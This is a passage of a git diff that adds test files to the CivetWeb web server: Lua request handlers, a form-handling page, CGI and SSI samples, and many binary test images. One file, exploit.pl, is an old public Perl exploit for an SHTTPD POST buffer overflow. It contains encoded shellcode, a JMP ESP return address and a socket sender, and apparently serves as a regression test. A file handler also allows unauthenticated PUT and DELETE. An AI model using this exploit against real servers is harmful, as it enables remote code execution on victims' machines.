\ No newline at end of file diff --git a/src/civetweb/test/exit.lua b/src/civetweb/test/exit.lua new file mode 100644 index 000000000..40356e317 --- /dev/null +++ b/src/civetweb/test/exit.lua @@ -0,0 +1,15 @@ +
+msg=[[<html><body>
+<p>Exit CivetWeb</p>
+</body></html>
+]]
+
+mg.write("HTTP/1.0 200 OK\r\n")
+mg.write("Connection: close\r\n")
+mg.write("Content-Length: " .. #msg .. "\r\n")
+mg.write("Content-Type: text/html\r\n")
+mg.write("\r\n")
+mg.write(msg)
+
+os.exit(0)
+
diff --git a/src/civetweb/test/exploit.pl b/src/civetweb/test/exploit.pl new file mode 100755 index 000000000..206708989 --- /dev/null +++ b/src/civetweb/test/exploit.pl @@ -0,0 +1,69 @@ +#!/usr/bin/perl -w + +# SHTTPD Buffer Overflow (POST) +# Tested on SHTTPD 1.34 WinXP SP1 Hebrew +# http://shttpd.sourceforge.net +# Codded By SkOd, 05/10/2006 +# ISRAEL +# +# details: +# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C +# EBX 00000004 , EIP 41414141 , EBP 41414141 +# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST" +# ESP 009EFC08 ASCII 41,"AA...AAA" + + +use IO::Socket; + +sub fail(){ +syswrite STDOUT, "[-]Connect failed.\n"; +exit; +} + +sub header() +{ +print("##################################\n"); +print("SHTTPD (POST) Buffer Overflow.\n"); +print("[http://shttpd.sourceforge.net]\n"); +print("Codded By SkOd, 05/10/2006\n"); +print("##################################\n"); +} + +if (@ARGV < 1) +{ + &header(); + print("Usage: Perl shttpd.pl [host]\n"); + exit; +} + +&header(); +$host=$ARGV[0]; +$port="80"; +$host=~ s/(http:\/\/)//eg; + +#win32_exec- CMD=calc Size=160 (metasploit.com) +$shell = +"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52". +"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5". +"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9". +"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed". +"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86". +"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4". +"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b". +"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88". +"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0"; + + +$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew) +$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245 + +print length($buff) . "\n"; + +$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail(); + syswrite STDOUT,"[+]Connected.\n"; + print $sock "POST /$buff HTTP/1.1\n"; + print $sock "HOST:$host\n\n"; + syswrite STDOUT,"[+]Done.\n"; +close($sock); + +# milw0rm.com [2006-10-05] diff --git a/src/civetweb/test/filehandler.lua b/src/civetweb/test/filehandler.lua new file mode 100644 index 000000000..57bf41128 --- /dev/null +++ b/src/civetweb/test/filehandler.lua @@ -0,0 +1,93 @@ +function send_ok()
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+end
+
+
+function send_not_found()
+ mg.write("HTTP/1.0 404 Not Found\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+end
+
+
+handler = "filehandler.lua"
+sub_uri = mg.request_info.uri:sub(#handler+2)
+filename = "D:\\civetweb\\civetweb" .. sub_uri
+attr = lfs.attributes(filename)
+
+--[[
+if not attr then
+ send_not_found()
+ mg.write("\r\n")
+ mg.write("File " .. sub_uri .. " not available")
+ return
+end
+]]
+
+if mg.request_info.request_method == "GET" then
+ -- send_file will handle 404 internally
+ mg.send_file(filename)
+ return
+
+elseif mg.request_info.request_method == "HEAD" then
+ -- send_file can handle "GET" and "HEAD"
+ mg.send_file(filename)
+ return
+
+elseif mg.request_info.request_method == "PUT" then
+ local f = io.open(filename, "w")
+ if (not f) then
+ mg.write("HTTP/1.0 500 Internal Server Error\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+ mg.write("\r\n")
+ return
+ end
+
+ mg.write("HTTP/1.0 201 Created\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+ mg.write("\r\n")
+ repeat
+ local buf = mg.read();
+ if (buf) then
+ f:write(buf)
+ end
+ until (not buf);
+ f:close()
+
+ mg.write("HTTP/1.0 201 Created\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+ mg.write("\r\n")
+ return
+
+elseif mg.request_info.request_method == "DELETE" then
+ if not attr then
+ send_not_found()
+ mg.write("\r\n")
+ mg.write("File " .. sub_uri .. " not available")
+ return
+ end
+ os.remove(filename)
+ mg.write("HTTP/1.0 204 No Content\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+ mg.write("\r\n")
+ return
+
+elseif mg.request_info.request_method == "OPTIONS" then
+ send_ok()
+ mg.write("Allow: GET, HEAD, PUT, DELETE, OPTIONS\r\n")
+ mg.write("\r\n")
+ return
+
+else
+ mg.write("HTTP/1.0 405 Method Not Allowed\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n")
+ mg.write("\r\n")
+ return
+end
diff --git a/src/civetweb/test/form.html b/src/civetweb/test/form.html new file mode 100644 index 000000000..381084ce1 --- /dev/null +++ b/src/civetweb/test/form.html @@ -0,0 +1,118 @@ +<!DOCTYPE HTML>
+<html>
+
+<head>
+ <meta charset="UTF-8">
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Example page for HTML form handling</title>
+</head>
+
+<body>
+
+ <!-- HTML forms can use GET or POST, and the encoding can be application/x-www-form-urlencoded or multipart/form-data.
+ If no method is specified (like <form method="method">), GET should be the default method.
+ If no encoding is specified, application/x-www-form-urlencoded should be the default.
+ Submit buttons may overwrite action, method and enctype by using formaction, formmethod and formenctype.
+
+ References:
+ http://www.w3.org/TR/html401/interact/forms.html
+ http://www.w3schools.com/html/html_forms.asp,
+ http://www.w3schools.com/html/html_form_attributes.asp
+ http://www.w3.org/TR/html401/interact/forms.html#adef-enctype
+ -->
+
+
+ <form action="/handle_form.embedded_c.example.callback">
+ See <a href="http://www.w3schools.com/html/html_form_input_types.asp">HTML form tutorial</a>
+ and <a href="http://www.w3.org/TR/html401/interact/forms.html">HTML spec</a>.<br />
+
+ <fieldset>
+ <legend>Text inputs:</legend>
+ A text: <input type="text" name="textin"><br />
+ A password: <input type="password" name="passwordin"><br />
+ </fieldset>
+
+ <fieldset>
+ <legend>Radio set 1:</legend>
+ <input type="radio" name="radio1" value="val1" checked>val1<br />
+ <input type="radio" name="radio1" value="val2">val2<br />
+ <input type="radio" name="radio1" value="val3">val3<br />
+ </fieldset>
+
+ <fieldset>
+ <legend>Radio set 2:</legend>
+ <input type="radio" name="radio2" value="val1" checked>val1<br />
+ <input type="radio" name="radio2" value="val2">val2<br />
+ <input type="radio" name="radio2" value="val3">val3<br />
+ </fieldset>
+
+ <fieldset>
+ <legend>Checkboxes:</legend>
+ <input type="checkbox" name="check1" value="val1" checked>val1<br />
+ <input type="checkbox" name="check2" value="val2">val2<br />
+ <input type="checkbox" name="check3" value="val3">val3<br />
+ </fieldset>
+
+ <fieldset>
+ <legend>HTML5 inputs:</legend>
+ A number: <input type="number" name="numberin" min="1" max="5"><br />
+ A date: <input type="date" name="datein"><br />
+ A color: <input type="color" name="colorin"><br />
+ A range: <input type="range" name="rangein" min="1" max="5"><br />
+ A month: <input type="month" name="monthin"><br />
+ A week: <input type="week" name="weekin"><br />
+ A time: <input type="time" name="timein"><br />
+ A datetime: <input type="datetime" name="datetimen"><br />
+ A datetime-local: <input type="datetime-local" name="datetimelocalin"><br />
+ An email: <input type="email" name="emailin"><br />
+ A search: <input type="search" name="searchin"><br />
+ A tel: <input type="tel" name="telin"><br />
+ An url: <input type="url" name="urlin"><br />
+ </fieldset>
+
+ <fieldset>
+ <legend>Files:</legend>
+ A file: <input type="file" name="filein"><br />
+ Multiple files: <input type="file" name="filesin" multiple><br>
+ </fieldset>
+
+ <fieldset>
+ <legend>Dropdown:</legend>
+ <select name="selectin">
+ <option value="opt1">opt1</option>
+ <option value="opt2">opt2</option>
+ <option value="opt3">opt3</option>
+ </select>
+ </fieldset>
+
+ <fieldset>
+ <legend>Text area:</legend>
+ <textarea name="message" rows="10" cols="30">Text area default text.</textarea>
+ </fieldset>
+
+ <fieldset>
+ <legend>Submit:</legend>
+ <fieldset>
+ <legend>Submit to Lua script:</legend>
+ This will only work if server side Lua scripting is activated and /handle_form.lua can be found on the server.
+ <br>
+ <input type="submit" value="Submit" formmethod="POST" formenctype="multipart/form-data"
+ formaction="/handle_form.lua">
+ </fieldset>
+
+ <fieldset>
+ <legend>Submit to callback:</legend>
+ This will work in the embedded_c example. It will call mg_handle_form_data to parse the request.
+ <br>
+ <input type="submit" value="Submit (form default)">
+ <input type="submit" value="Submit (GET)" formmethod="GET">
+ <input type="submit" value="Submit (POST)" formmethod="POST">
+ <input type="submit" value="Submit (POST, url-encoded)" formmethod="POST" formenctype="application/x-www-form-urlencoded">
+ <input type="submit" value="Submit (POST, form-data)" formmethod="POST" formenctype="multipart/form-data">
+ </fieldset>
+ </fieldset>
+
+ </form>
+</body>
+
+</html>
diff --git a/src/civetweb/test/handle_form.lua b/src/civetweb/test/handle_form.lua new file mode 100644 index 000000000..c3694ae2e --- /dev/null +++ b/src/civetweb/test/handle_form.lua @@ -0,0 +1,123 @@ +-- Some basic checks
+if mg.request_info.request_method ~= "POST" or mg.request_info.content_type:lower():sub(1,19) ~= 'multipart/form-data' then
+ mg.write("HTTP/1.0 400 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/plain; charset=utf-8\r\n")
+ mg.write("Cache-Control: max-age=0, must-revalidate\r\n")
+ mg.write("\r\n")
+ mg.write("Bad request\r\n\r\n")
+ return
+end
+
+-- HTTP headers
+mg.write("HTTP/1.0 200 OK\r\n")
+mg.write("Connection: close\r\n")
+mg.write("Content-Type: text/plain; charset=utf-8\r\n")
+mg.write("Cache-Control: max-age=0, must-revalidate\r\n")
+mg.write("\r\n")
+
+-- Which form sent the data?
+mg.write("Read POST data from " .. mg.request_info.http_headers.Referer .. ":\r\n\r\n")
+
+-- Count some data fields
+local fields = 0
+local datasize = 0
+
+-- Read the entire body data (POST content) into "bdata" variable.
+-- Use a string builder pattern for performance reasons
+stringtab = {}
+bdata = ""
+repeat
+ local add_data = mg.read()
+ if add_data then
+ stringtab[#stringtab+1] = add_data
+ end
+until (add_data == nil);
+bdata = table.concat(stringtab)
+stringtab = nil
+
+-- Get the boundary string.
+bs = "--" .. ((mg.request_info.content_type):upper():match("BOUNDARY=(.*)"));
+
+-- The POST data has to start with the boundary string.
+-- Check this and remove the starting boundary.
+if bdata:sub(1, #bs) ~= bs then
+ error "invalid format of POST data"
+end
+bdata = bdata:sub(#bs)
+
+-- The boundary now starts with CR LF.
+bs = "\r\n" .. bs
+
+-- Now loop through all the parts
+while #bdata>4 do
+ -- Find the header of new part.
+ part_header_end = bdata:find("\r\n\r\n", 1, true)
+
+ -- Parse the header.
+ local form_field_name, file_name
+ h = bdata:sub(1, part_header_end+2)
+ for key,val in h:gmatch("([^%:\r\n]*)%s*%:%s*([^\r\n]*)\r\n") do
+ if key:upper() == "CONTENT-DISPOSITION" then
+ form_field_name = val:match('name=%"([^%"]*)%"')
+ file_name = val:match('filename=%"([^%"]*)%"')
+ end
+ end
+
+ -- Remove the header from "bdata".
+ bdata = bdata:sub(part_header_end+4)
+
+ -- Find the end of the body by locating the boundary string.
+ local part_body_end = bdata:find(bs, 1, true)
+
+ -- Isolate the content, and drop it from "bdata".
+ local form_field_value = bdata:sub(1,part_body_end-1)
+ bdata = bdata:sub(part_body_end+#bs)
+
+ -- Now the data (file content or field value) is isolated: We know form_field_name and form_field_value.
+ -- Here the script should do something useful with the data. This example just sends it back to the client.
+ if form_field_name then
+ mg.write("Field name: " .. form_field_name .. "\r\n")
+ end
+
+ local len = #form_field_value
+ mg.write("Field data length: " .. len .. "\r\n")
+
+ if file_name then
+ mg.write("File name: " .. file_name .. "\r\n")
+ mg.write("File content:\r\n")
+ local maxlen
+ if len>320 then maxlen=320 else maxlen=len end
+
+ for l=0,maxlen,16 do
+ for m=1,16 do
+ local b = form_field_value:byte(l+m)
+ if (b) then
+ mg.write(string.format("%02x ", b))
+ else
+ mg.write(" ")
+ end
+ end
+ mg.write(" - " .. form_field_value:sub(l+1,l+16):gsub("[%c%z%s]", " ") .. "\r\n")
+ end
+ if maxlen<len then
+ mg.write(string.format("... (+ %u bytes)\r\n", len-maxlen))
+ end
+
+ else
+ -- not a file
+ if len<50 then
+ mg.write("Field value: " .. form_field_value .. "\r\n")
+ else
+ mg.write("Field value: " .. form_field_value:sub(1, 40) .. " .. (" .. len .. " bytes)\r\n")
+ end
+ end
+
+
+ mg.write("\r\n")
+ fields = fields + 1
+ datasize = datasize + len
+
+end
+
+mg.write("Got " .. fields .. " input fields with " .. datasize .. " bytes total\r\n");
diff --git a/src/civetweb/test/hello.cgi b/src/civetweb/test/hello.cgi new file mode 100755 index 000000000..cc96814f8 --- /dev/null +++ b/src/civetweb/test/hello.cgi @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "Content-Type: text/plain" +echo + +echo "Query string:" +echo $QUERY_STRING diff --git a/src/civetweb/test/hello.shtml b/src/civetweb/test/hello.shtml new file mode 100644 index 000000000..d4094ccc0 --- /dev/null +++ b/src/civetweb/test/hello.shtml @@ -0,0 +1,5 @@ +<pre> +hello.shtml: include "hello.txt": +<!--#include file="hello.txt" --> +hello.shtml: end +</pre> diff --git a/src/civetweb/test/hello.txt b/src/civetweb/test/hello.txt new file mode 100644 index 000000000..7feddbfe4 --- /dev/null +++ b/src/civetweb/test/hello.txt @@ -0,0 +1 @@ +simple text file diff --git a/src/civetweb/test/hello_gz.txt.gz b/src/civetweb/test/hello_gz.txt.gz Binary files differnew file mode 100644 index 000000000..732542999 --- /dev/null +++ b/src/civetweb/test/hello_gz.txt.gz diff --git a/src/civetweb/test/hello_gz_unzipped.txt b/src/civetweb/test/hello_gz_unzipped.txt new file mode 100644 index 000000000..bde6e8a16 --- /dev/null +++ b/src/civetweb/test/hello_gz_unzipped.txt @@ -0,0 +1 @@ +hello from a zipped text file diff --git a/src/civetweb/test/html_esc.lua b/src/civetweb/test/html_esc.lua new file mode 100644 index 000000000..addfe763b --- /dev/null +++ b/src/civetweb/test/html_esc.lua @@ -0,0 +1,60 @@ +htmlEscape = { "☺", "☻", "♥", "♦", "♣", "♠", "•", -- ASCII 1-7 (symbols for control characters, see code page 437)
+ "◘", "○", "◙", "♂", "♀", "♪", "♫", "☼", -- ASCII 8-15
+ "►", "◄", "↕", "‼", "¶", "§", "▬", "↨", -- ASCII 16-23
+ "↑", "↓", "↨", "←", "∟", "→", "▲", "▼", -- ASCII 24-31
+ " ", "!", """, "#", "$", "%", "&", "'", -- ASCII 32-39
+ "(", ")", "*", "+", ",", "-", ".", "/", -- ASCII 40-47
+ "0", "1", "2", "3", "4", "5", "6", "7", -- ASCII 48-55
+ "8", "9", ":", ";", "<", "=", ">", "?", -- ASCII 56-63
+ "@", "A", "B", "C", "D", "E", "F", "G", -- ASCII 64-71
+ "H", "I", "J", "K", "L", "M", "N", "O", -- ASCII 72-79
+ "P", "Q", "R", "S", "T", "U", "V", "W", -- ASCII 80-87
+ "X", "Y", "Z", "[", "\\", "]", "^", "_", -- ASCII 88-95
+ "`", "a", "b", "c", "d", "e", "f", "g", -- ASCII 96-103
+ "h", "i", "j", "k", "l", "m", "n", "o", -- ASCII 104-111
+ "p", "q", "r", "s", "t", "u", "v", "w", -- ASCII 112-119
+ "x", "y", "z", "{", "|", "}", "~", "⌂", -- ASCII 120-127
+ "Ç", "ü", "é", "â", "ä", "à", "å", "ç", -- 128-135 (dos code page 850)
+ "ê", "ë", "è", "ï", "î", "ì", "Ä", "Å", -- 136-143
+ "É", "æ", "Æ", "ô", "ö", "ò", "û", "ù", -- 144-151
+ "ÿ", "Ö", "Ü", "ø", "£", "Ø", "×", "ƒ", -- 152-159
+ "á", "í", "ó", "ú", "ñ", "Ñ", "ª", "º", -- 160-167
+ "¿", "®", "¬", "½", "¼", "¡", "«", "»", -- 168-175
+ "░", "▒", "▓", "│", "┤", "Á", "Â", "À", -- 176-183
+ "©", "╣", "║", "╗", "╝", "¢", "¥", "┐", -- 184-191
+ "└", "┴", "┬", "├", "─", "┼", "ã", "Ã", -- 192-199
+ "╚", "╔", "╩", "╦", "╠", "═", "╬", "¤", -- 200-207
+ "ð", "Ð", "Ê", "Ë", "È", "ı", "Í", "Î", -- 208-215
+ "Ï", "┘", "┌", "█", "▄", "¦", "Ì", "▀", -- 216-223
+ "Ó", "ß", "Ô", "Ò", "õ", "Õ", "µ", "þ", -- 224-231
+ "Þ", "Ú", "Û", "Ù", "ý", "Ý", "¯", "´", -- 232-239
+ "≡", "±", "‗", "¾", "¶", "§", "÷", "¸", -- 240-247
+ "°", "¨", "·", "¹", "³", "²", "■", "□", -- 248-255 (use empty box for 255)
+};
+htmlEscape[0] = "·" -- in this table, we use a 8 bit character set, where every has a different graphical representation
+
+-- the conversion table should work as a convertion function for strings as well
+setmetatable(htmlEscape, {__call = function (tab,str) return string.gsub(str, ".", function (c) return tab[c:byte()] end) end})
+
+
+function htmlEsc(txt)
+ s = txt:gsub("%&", "&")
+ s = s:gsub("%<", "<")
+ return s:gsub("%>", ">")
+end
+
+
+function iso8859_1_to_utf8(txt)
+ local s = txt:gsub(".",
+ function (c)
+ local b = c:byte()
+ if b < 128 then
+ return c
+ elseif b < 192 then
+ return string.char(194, b)
+ else
+ return string.char(195, b-64)
+ end
+ end)
+ return s
+end
diff --git a/src/civetweb/test/imagetest/00.png b/src/civetweb/test/imagetest/00.png Binary files differnew file mode 100644 index 000000000..36160d93b --- /dev/null +++ b/src/civetweb/test/imagetest/00.png diff --git a/src/civetweb/test/imagetest/01.png b/src/civetweb/test/imagetest/01.png Binary files differnew file mode 100644 index 000000000..725bf6814 --- /dev/null +++ b/src/civetweb/test/imagetest/01.png diff --git a/src/civetweb/test/imagetest/02.png b/src/civetweb/test/imagetest/02.png Binary files differnew file mode 100644 index 000000000..5b5edf3ed --- /dev/null +++ b/src/civetweb/test/imagetest/02.png diff --git a/src/civetweb/test/imagetest/03.png b/src/civetweb/test/imagetest/03.png Binary files differnew file mode 100644 index 000000000..8b7d77260 --- /dev/null +++ b/src/civetweb/test/imagetest/03.png diff --git a/src/civetweb/test/imagetest/04.png b/src/civetweb/test/imagetest/04.png Binary files differnew file mode 100644 index 000000000..dc6487173 --- /dev/null +++ b/src/civetweb/test/imagetest/04.png diff --git a/src/civetweb/test/imagetest/05.png b/src/civetweb/test/imagetest/05.png Binary files differnew file mode 100644 index 000000000..5cea5219b --- /dev/null +++ b/src/civetweb/test/imagetest/05.png diff --git a/src/civetweb/test/imagetest/06.png b/src/civetweb/test/imagetest/06.png Binary files differnew file mode 100644 index 000000000..cb101228f --- /dev/null +++ b/src/civetweb/test/imagetest/06.png diff --git a/src/civetweb/test/imagetest/07.png b/src/civetweb/test/imagetest/07.png Binary files differnew file mode 100644 index 000000000..70134c58e --- /dev/null +++ b/src/civetweb/test/imagetest/07.png diff --git a/src/civetweb/test/imagetest/08.png b/src/civetweb/test/imagetest/08.png Binary files differnew file mode 100644 index 000000000..ee7c3d8e3 --- /dev/null +++ b/src/civetweb/test/imagetest/08.png diff --git a/src/civetweb/test/imagetest/09.png b/src/civetweb/test/imagetest/09.png Binary files differnew file mode 100644 index 000000000..63734722c --- /dev/null +++ b/src/civetweb/test/imagetest/09.png diff --git a/src/civetweb/test/imagetest/10.png b/src/civetweb/test/imagetest/10.png Binary files differnew file mode 100644 index 000000000..3823e3a61 --- /dev/null +++ b/src/civetweb/test/imagetest/10.png diff --git a/src/civetweb/test/imagetest/11.png b/src/civetweb/test/imagetest/11.png Binary files differnew file mode 100644 index 000000000..fa3f41165 --- /dev/null +++ b/src/civetweb/test/imagetest/11.png diff --git a/src/civetweb/test/imagetest/12.png b/src/civetweb/test/imagetest/12.png Binary files differnew file mode 100644 index 000000000..eec6ee1a0 --- /dev/null +++ b/src/civetweb/test/imagetest/12.png diff --git a/src/civetweb/test/imagetest/13.png b/src/civetweb/test/imagetest/13.png Binary files differnew file mode 100644 index 000000000..2dcebc5d7 --- /dev/null +++ b/src/civetweb/test/imagetest/13.png diff --git a/src/civetweb/test/imagetest/14.png b/src/civetweb/test/imagetest/14.png Binary files differnew file mode 100644 index 000000000..2a08667d9 --- /dev/null +++ b/src/civetweb/test/imagetest/14.png diff --git a/src/civetweb/test/imagetest/15.png b/src/civetweb/test/imagetest/15.png Binary files differnew file mode 100644 index 000000000..6d57b59cf --- /dev/null +++ b/src/civetweb/test/imagetest/15.png diff --git a/src/civetweb/test/imagetest/16.png b/src/civetweb/test/imagetest/16.png Binary files differnew file mode 100644 index 000000000..e4611a386 --- /dev/null +++ b/src/civetweb/test/imagetest/16.png diff --git a/src/civetweb/test/imagetest/17.png b/src/civetweb/test/imagetest/17.png Binary files differnew file mode 100644 index 000000000..1975b730b --- /dev/null +++ b/src/civetweb/test/imagetest/17.png diff --git a/src/civetweb/test/imagetest/18.png b/src/civetweb/test/imagetest/18.png Binary files differnew file mode 100644 index 000000000..7090c1232 --- /dev/null +++ b/src/civetweb/test/imagetest/18.png diff --git a/src/civetweb/test/imagetest/19.png b/src/civetweb/test/imagetest/19.png Binary files differnew file mode 100644 index 000000000..236f3c38f --- /dev/null +++ b/src/civetweb/test/imagetest/19.png diff --git a/src/civetweb/test/imagetest/20.png b/src/civetweb/test/imagetest/20.png Binary files differnew file mode 100644 index 000000000..1c7e5a31b --- /dev/null +++ b/src/civetweb/test/imagetest/20.png diff --git a/src/civetweb/test/imagetest/21.png b/src/civetweb/test/imagetest/21.png Binary files differnew file mode 100644 index 000000000..e8d934463 --- /dev/null +++ b/src/civetweb/test/imagetest/21.png diff --git a/src/civetweb/test/imagetest/22.png b/src/civetweb/test/imagetest/22.png Binary files differnew file mode 100644 index 000000000..fd8d4aa0f --- /dev/null +++ b/src/civetweb/test/imagetest/22.png diff --git a/src/civetweb/test/imagetest/23.png b/src/civetweb/test/imagetest/23.png Binary files differnew file mode 100644 index 000000000..3772ec5bb --- /dev/null +++ b/src/civetweb/test/imagetest/23.png diff --git a/src/civetweb/test/imagetest/24.png b/src/civetweb/test/imagetest/24.png Binary files differnew file mode 100644 index 000000000..2b458f93a --- /dev/null +++ b/src/civetweb/test/imagetest/24.png diff --git a/src/civetweb/test/imagetest/25.png b/src/civetweb/test/imagetest/25.png Binary files differnew file mode 100644 index 000000000..53d475758 --- /dev/null +++ b/src/civetweb/test/imagetest/25.png diff --git a/src/civetweb/test/imagetest/26.png b/src/civetweb/test/imagetest/26.png Binary files differnew file mode 100644 index 000000000..d4a101c2e --- /dev/null +++ b/src/civetweb/test/imagetest/26.png diff --git a/src/civetweb/test/imagetest/27.png b/src/civetweb/test/imagetest/27.png Binary files differnew file mode 100644 index 000000000..a40fc5169 --- /dev/null +++ b/src/civetweb/test/imagetest/27.png diff --git a/src/civetweb/test/imagetest/28.png b/src/civetweb/test/imagetest/28.png Binary files differnew file mode 100644 index 000000000..12d72a6cb --- /dev/null +++ b/src/civetweb/test/imagetest/28.png diff --git a/src/civetweb/test/imagetest/29.png b/src/civetweb/test/imagetest/29.png Binary files differnew file mode 100644 index 000000000..0638d4501 --- /dev/null +++ b/src/civetweb/test/imagetest/29.png diff --git a/src/civetweb/test/imagetest/30.png b/src/civetweb/test/imagetest/30.png Binary files differnew file mode 100644 index 000000000..2446c609d --- /dev/null +++ b/src/civetweb/test/imagetest/30.png diff --git a/src/civetweb/test/imagetest/31.png b/src/civetweb/test/imagetest/31.png Binary files differnew file mode 100644 index 000000000..bbcbf51cb --- /dev/null +++ b/src/civetweb/test/imagetest/31.png diff --git a/src/civetweb/test/imagetest/32.png b/src/civetweb/test/imagetest/32.png Binary files differnew file mode 100644 index 000000000..b40f395d5 --- /dev/null +++ b/src/civetweb/test/imagetest/32.png diff --git a/src/civetweb/test/imagetest/33.png b/src/civetweb/test/imagetest/33.png Binary files differnew file mode 100644 index 000000000..7293ea533 --- /dev/null +++ b/src/civetweb/test/imagetest/33.png diff --git a/src/civetweb/test/imagetest/34.png b/src/civetweb/test/imagetest/34.png Binary files differnew file mode 100644 index 000000000..fb3de9c07 --- /dev/null +++ b/src/civetweb/test/imagetest/34.png diff --git a/src/civetweb/test/imagetest/35.png b/src/civetweb/test/imagetest/35.png Binary files differnew file mode 100644 index 000000000..4635bb0ca --- /dev/null +++ b/src/civetweb/test/imagetest/35.png diff --git a/src/civetweb/test/imagetest/36.png b/src/civetweb/test/imagetest/36.png Binary files differnew file mode 100644 index 000000000..1a300ef44 --- /dev/null +++ b/src/civetweb/test/imagetest/36.png diff --git a/src/civetweb/test/imagetest/37.png b/src/civetweb/test/imagetest/37.png Binary files differnew file mode 100644 index 000000000..6f44faf06 --- /dev/null +++ b/src/civetweb/test/imagetest/37.png diff --git a/src/civetweb/test/imagetest/38.png b/src/civetweb/test/imagetest/38.png Binary files differnew file mode 100644 index 000000000..1f0b81003 --- /dev/null +++ b/src/civetweb/test/imagetest/38.png diff --git a/src/civetweb/test/imagetest/39.png b/src/civetweb/test/imagetest/39.png Binary files differnew file mode 100644 index 000000000..02cee96bf --- /dev/null +++ b/src/civetweb/test/imagetest/39.png diff --git a/src/civetweb/test/imagetest/40.png b/src/civetweb/test/imagetest/40.png Binary files differnew file mode 100644 index 000000000..5dd1fd46d --- /dev/null +++ b/src/civetweb/test/imagetest/40.png diff --git a/src/civetweb/test/imagetest/41.png b/src/civetweb/test/imagetest/41.png Binary files differnew file mode 100644 index 000000000..734b9d3ba --- /dev/null +++ b/src/civetweb/test/imagetest/41.png diff --git a/src/civetweb/test/imagetest/42.png b/src/civetweb/test/imagetest/42.png Binary files differnew file mode 100644 index 000000000..c19bc8f49 --- /dev/null +++ b/src/civetweb/test/imagetest/42.png diff --git a/src/civetweb/test/imagetest/43.png b/src/civetweb/test/imagetest/43.png Binary files differnew file mode 100644 index 000000000..0d58081a6 --- /dev/null +++ b/src/civetweb/test/imagetest/43.png diff --git a/src/civetweb/test/imagetest/44.png b/src/civetweb/test/imagetest/44.png Binary files differnew file mode 100644 index 000000000..5745c680b --- /dev/null +++ b/src/civetweb/test/imagetest/44.png diff --git a/src/civetweb/test/imagetest/45.png b/src/civetweb/test/imagetest/45.png Binary files differnew file mode 100644 index 000000000..e8411b750 --- /dev/null +++ b/src/civetweb/test/imagetest/45.png diff --git a/src/civetweb/test/imagetest/46.png b/src/civetweb/test/imagetest/46.png Binary files differnew file mode 100644 index 000000000..532d17563 --- /dev/null +++ b/src/civetweb/test/imagetest/46.png diff --git a/src/civetweb/test/imagetest/47.png b/src/civetweb/test/imagetest/47.png Binary files differnew file mode 100644 index 000000000..ca30f6f2f --- /dev/null +++ b/src/civetweb/test/imagetest/47.png diff --git a/src/civetweb/test/imagetest/48.png b/src/civetweb/test/imagetest/48.png Binary files differnew file mode 100644 index 000000000..0c20c8284 --- /dev/null +++ b/src/civetweb/test/imagetest/48.png diff --git a/src/civetweb/test/imagetest/49.png b/src/civetweb/test/imagetest/49.png Binary files differnew file mode 100644 index 000000000..a4e6799dd --- /dev/null +++ b/src/civetweb/test/imagetest/49.png diff --git a/src/civetweb/test/imagetest/50.png b/src/civetweb/test/imagetest/50.png Binary files differnew file mode 100644 index 000000000..e78c9f1f3 --- /dev/null +++ b/src/civetweb/test/imagetest/50.png diff --git a/src/civetweb/test/imagetest/51.png b/src/civetweb/test/imagetest/51.png Binary files differnew file mode 100644 index 000000000..dd0aeb7bc --- /dev/null +++ b/src/civetweb/test/imagetest/51.png diff --git a/src/civetweb/test/imagetest/52.png b/src/civetweb/test/imagetest/52.png Binary files differnew file mode 100644 index 000000000..7672eef70 --- /dev/null +++ b/src/civetweb/test/imagetest/52.png diff --git a/src/civetweb/test/imagetest/53.png b/src/civetweb/test/imagetest/53.png Binary files differnew file mode 100644 index 000000000..55371794f --- /dev/null +++ b/src/civetweb/test/imagetest/53.png diff --git a/src/civetweb/test/imagetest/54.png b/src/civetweb/test/imagetest/54.png Binary files differnew file mode 100644 index 000000000..d8fb26425 --- /dev/null +++ b/src/civetweb/test/imagetest/54.png diff --git a/src/civetweb/test/imagetest/55.png b/src/civetweb/test/imagetest/55.png Binary files differnew file mode 100644 index 000000000..cfa47a847 --- /dev/null +++ b/src/civetweb/test/imagetest/55.png diff --git a/src/civetweb/test/imagetest/56.png b/src/civetweb/test/imagetest/56.png Binary files differnew file mode 100644 index 000000000..51d7bc79d --- /dev/null +++ b/src/civetweb/test/imagetest/56.png diff --git a/src/civetweb/test/imagetest/57.png 